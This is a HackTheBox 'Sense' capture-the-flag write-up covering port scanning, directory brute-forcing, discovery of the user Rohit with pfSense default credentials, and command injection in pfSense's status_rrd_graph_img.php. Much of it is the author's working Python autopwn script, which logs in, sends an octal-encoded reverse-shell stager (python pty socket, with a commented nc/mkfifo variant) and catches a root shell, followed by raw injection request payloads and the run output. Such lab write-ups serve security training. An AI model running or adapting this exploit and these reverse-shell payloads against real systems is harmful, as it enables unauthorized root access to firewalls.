Sense write-up

Ανάλυση του Sense

· Cybersecurity Κυβερνοασφάλεια · hackthebox hackthebox bsd bsd


Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500
Starting masscan 1.0.4 ( at 2018-03-22 09:51:28 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 443/tcp on                                    
Discovered open port 80/tcp on

We found TCP ports 80 and 443 open. Let’s explore them using nmap:

$ sudo nmap -A -p80,443

Starting Nmap 7.60 ( ) at 2018-03-22 11:54 EET
Nmap scan report for
Host is up (0.091s latency).

80/tcp  open  http     lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to
443/tcp open  ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): OpenBSD 4.X (93%), Comau embedded (92%), Linux 2.6.X (89%)
OS CPE: cpe:/o:openbsd:openbsd:4.0 cpe:/o:linux:linux_kernel:2.6.29
Aggressive OS guesses: OpenBSD 4.0 (93%), Comau C4G robot control unit (92%), Linux 2.6.29 (89%), OpenBSD 4.3 (85%)
No exact OS matches for host (test conditions non-ideal).

Brute forcing directories and files

There are multiple vulnerabilities for PfSense but we need an authenticated user to exploit most of them. Maybe we can find some credentials if we search for notes in text files:

$ dirsearch -u -w /opt/DirBuster/directory-list-2.3-medium.txt -f -e txt

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: txt | Threads: 10 | Wordlist size: 441041


[09:42:09] Starting: 
[09:42:45] 200 -  271B  - /changelog.txt
[09:43:42] 200 -    7KB - /tree/
[09:45:52] 302 -    0B  - /installer/  ->  installer.php
[10:51:23] 200 -  106B  - /system-users.txt

Finding credentials

Let’s see the contents of

####Support ticket###

Please create the following user

username: Rohit
password: company defaults

Let’s google-search the default password for PfSense:

The default credentials for a pfSense firewall are:

Username: admin
Password: pfsense

Default credentials are set to a username of admin with password pfsense

Therefore our credentials are rohit:pfsense.

Getting root

Now, let’s search for PfSense vulnerabilities:

$ searchsploit pfsense -w
 Exploit Title
pfSense - 'interfaces.php?if' Cross-Site Scripting
pfSense - 'pkg.php?xml' Cross-Site Scripting
pfSense - 'pkg_edit.php?id' Cross-Site Scripting
pfSense - 'status_graph.php?if' Cross-Site Scripting
pfSense - Authenticated Group Member Remote Command Execution (Metasploit)
pfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities
pfSense 2.0.1 - Cross-Site Scripting / Cross-Site Request Forgery / RCE
pfSense 2.1 build 20130911-1816 - Directory Traversal
pfSense 2.2 - Multiple Vulnerabilities
pfSense 2.2.5 - Directory Traversal
pfSense 2.3.1_1 - Command Execution
pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities
pfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery
pfSense Firewall 2.2.6 - Services Cross-Site Request Forgery
pfSense UTM Platform 2.0.1 - Cross-Site Scripting

Check also this link:

Let’s see

The status_rrd_graph_img.php page is vulnerable to command injection via the graph GET parameter. A non-administrative authenticated attacker having access privileges to the graph status functionality can inject arbitrary operating system commands and execute them in the context of the root user. Although input validation is performed on the graph parameter through a regular expression filter, the pipe character is not removed. Octal characters sequences can be used to encode a payload, bypass the filter for illegal characters, and create a PHP file to download and execute a malicious file (i.e. reverse shell) from a remote attacker controlled host.
GET /status_rrd_graph_img.php?database=-throughput.rrd&graph=file|command|echo%20 HTTP/1.1
GET /status_rrd_graph_img.php?database=-throughput.rrd&graph=file|printf%20OCTET_ENCODED_SHELLCODE|sh|echo%20 HTTP/1.1

Unfortunately, the exploit 39709 is badly written and very messy as it mixes HTML, Javascript, PHP and Python for no reason. So, I wrote my own exploitation script in Python.

Autopwn script

Here is my script:

Don’t forget to set LHOST appropriately.

#!/usr/bin/env python2
# Author: Alamot (Antonios Tsolis)

import re
import sys
import time
from pwn import *
import signal, thread
import requests, urllib3
signal.signal(signal.SIGINT, signal.SIG_DFL)

DEBUG = False

    context.log_level = 'debug'
    context.log_level = 'info'

def send_ptyshell_payload():

    # This payload works too
    # stager = "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc " + str(LHOST) + " " + str(LPORT) + " > /tmp/f"

    stager = "python -c \"import os, pty, socket; lhost = '"+ str(LHOST) + "'; lport = " + str(LPORT) + "; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv('HISTFILE','/dev/null'); pty.spawn('/bin/sh'); s.close(); exit()\""

    encoded_stager = ""
    for c in stager:
        encoded_stager += "\\\\%03d" %(int(oct(ord(c))))

    client = None
        client = requests.session()
        client.verify = False
        client.keep_alive = False

        # Retrieve the CSRF token first
        p1=log.progress("Connecting to get csrf token")
        response = client.get("https://"+str(RHOST)+":"+str(RPORT), timeout=5)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
        csrf ='csrfMagicToken\s*=\s*"(sid:\w+,\d+)', response.text).group(1)
        p1.success("csrfMagicToken = " + csrf)

        # Login
        p2=log.progress("Logging in")
        data={"__csrf_magic":csrf, "usernamefld":"rohit", "passwordfld":"pfsense", "login":"Login"}
        response ="https://"+str(RHOST)+":"+str(RPORT)+"/index.php", data=data, timeout=5)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
        p2.success("Status "+str(response.status_code))

        # Send payload
        p3=log.progress("Sending pty shell payload...")
            params={"database":"-throughput.rrd", "graph":"file|printf "+encoded_stager+"|sh|echo "}
            response = client.get("https://"+str(RHOST)+":"+str(RPORT)+"/status_rrd_graph_img.php", params=params, timeout=5)
            if response.status_code != 200:
                p3.failure("Status "+str(response.status_code))
        except requests.exceptions.Timeout as e:

    except requests.exceptions.RequestException as e:

        if client:
        log.success("Web thread exited successfully.")

except Exception as e:
ptyshell = listen(LPORT, timeout=5).wait_for_connection()
if ptyshell.sock is None:
    log.failure("Connection timeout.")

Let’s run it:

$ ./
[+] Trying to bind to on port 60001: Done
[+] Waiting for connections on Got connection from on port 49022
[+] Connecting to get csrf token: csrfMagicToken = sid:5fcb86e278c2e4cb6b5aa5b4346218a9fb4d1647,1521716176
[+] Logging in: Status 200
[+] Sending pty shell payload...: OK
[*] Switching to interactive mode
# $ whoami

See also...

Δείτε επίσης...